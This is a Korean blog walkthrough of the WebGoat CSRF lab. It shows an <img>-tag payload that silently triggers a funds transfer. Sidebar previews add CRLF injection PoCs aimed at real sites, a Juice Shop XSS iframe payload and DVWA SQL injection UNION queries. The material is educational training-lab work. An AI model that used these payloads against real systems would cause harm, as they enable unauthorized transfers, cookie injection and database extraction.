기본 콘텐츠로 건너뛰기

Cross Site Request Forgery [ CSRF ]

Cross Site Request Forgery [ CSRF ]





[Description]

CSRF 는 사이트의 취약점을 이용하여 사용자가 원하지 않는 데이터 변경 작업을 수행하는 공격으로 , 주로 게시판에 <img> , <embed> 태그를 허용할경우 발생합니다.

다음은 , 뉴스 그룹에 CSRF 공격이 포함된 이메일을 보내 자금을 이체시켜야 합니다. 자금을 이체시키기 위해선 , "Screen"및 "menu" 매개 변수와 ,"transferFunds" 매개변수가 포함되어 있어야 합니다.


[그림1] 


[그림1] 임의의 문자를 입력 한 그림.

임의의 문자를 입력 후 , Submit 을 누르는 동시에 패킷을 잡아 상세분석을 합니다.





[그림2] 

[그림2] 임의의 문자를 입력한 값을 패킷을 통해 확인하는 그림.

임의의 문자열을 입력 후 패킷을 통해 Request 값을 분석 시  , 다음과 같은 URL 을 통해 값을 전달하고있습니다.

http://localhost:8080/WebGoat/attack?Screen=1915&menu=900&title=test&message=TEST&SUBMIT=Submit 

CSRF 공격을 통해 자금을 이체시키기 위해서는 다음과 같은 매개변수가 필요합니다.

Screen  , menu   ,transferFunds 

즉 다음과 같은 구문이 포함된 값을 전달합니다.

<img src="http://localhost:8080/WebGoat/attack?Screen=1915&menu=900&transferFunds=1 width=1px height=1px">


[그림3] 


[그림3] <img> 태그를 통해 CSRF 구문을 전달하는 그림.

위와 같이 데이터를 전송 시 , 아래와 같은 문구가 출력됩니다. 


위 문구를 클릭 후 , 상세 취약점을 진단합니다.


[그림4] 

[그림 4] 개발자 도구를 통해 작성한 URL을 확인하는 그림.

개발자 도구를 통해 Message 박스 옆 이미지 파일에 대고 검사를 한 후 , 해당 이미지 사진 위치를 파악한 후 , 새로 브라우저를 열어 이미지 파일 주소로 이동합니다.





[그림 5] 



[그림 5] CSRF 에 성공 그림.


위와 같이 CSRF 에 성공합니다.



[그림 6] 


[그림 6] CSRF 코드

CSRF 는 <form> 을 통해서도 취약점 재현이 가능합니다.



[impact]

공격자는 CSRF 취약점을 이용하여 , 사용자도 모르게 공격자에 의해 자금이 이체됩니다.



댓글

이 블로그의 인기 게시물

HackerOne Vulnerability Analysis 1

이 문서는  HackerOne 에서  제출된 많은 보고서들을 토대로 핵심 Payload만 요약하여 직접 작성하였습니다. Link :  https://hackerone.com/ Vulnerabilities list 1. CRLF Injection 2. Open Redirection  3. Cross-Site-Scripting 4. SQL-Injection 5. Path Traversal  CRLF Injection PoC http://www.myshopify.com/xxcrlftest%0aSet-Cookie:test=test3;domain=.myshopify.com; https://www.blackfan.myshopify.com/xxx%0aSet-Cookie:test=test2;domain=.myshopify.com; HTTP Response: HTTP/1.1 302 Moved Temporarily ... Location: http://myshopify.com/xxcrlftest Set-Cookie:test=test;domain=.myshopify.com; PoC: https://engineeringblog.yelp.com/xxcrlftest%0d%0aSet-Cookie:%20test=test;domain=.yelp.com HTTP Response: HTTP/1.1 301 Moved Permanently ... Location: http://engineeringblog.yelp.com/xxcrlftest Set-Cookie: test=test;domain=.yelp.com PoC (Chrome, Internet Explorer) http://gratipay.com/%0dSet-Cookie:csrf_token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; HTTP Resp...

Juice Shop XSS [ Dom based XSS ]

Juice Shop XSS [ Dom based XSS ] Search 입력란에 악성 스크립트를 넣어 XSS 취약점을 진단합니다. Payload :  <iframe src="javascript:alert(`xss`)">   다음과 같이 이는 < , > 는 &lt; , &gt; 로 특수문자를 필터링하지 않기에 XSS 에 취약합니다.

DVWA SQL Injection

DVWA  SQL Injection low [그림 1] Summary [그림1] 는 SQLInjection 공격을 시도해 볼 수 있도록 개발된 폼을 제공하고 있습니다 Description [그림 1] 은 ' , # , -- ,= 등 SQLInjection 에 취약한 특수문자등을 필터링하지 않아 SQL주입이 가능합니다. Steps to reproduce ORDER BY Query 1' order by 1,2# User ID:    ID: 1' ORDER BY 1,2# First name: admin Surname: admin UNION Query ' UNION SELECT 1,@@version#  User ID:    ID: 1' UNION SELECT 1,version()# First name: admin Surname: admin ID: 1' UNION SELECT 1,version()# First name: 1 Surname: 10.4.8-MariaDB ' UNION ALL SELECT 1,column_name from information_schema.columns# User ID:    ID: ' UNION ALL SELECT 1,column_name from information_schema.columns# First name: 1 Surname: user_id ID: ' UNION ALL SELECT 1,column_name from information_schema.columns# First name: 1 Surname: first_name ID: ' UNION ALL SELECT 1,column_name from information_schema.columns# First name: 1 Surname: last_name ID: ' UNION ALL SELECT 1,column_name from in...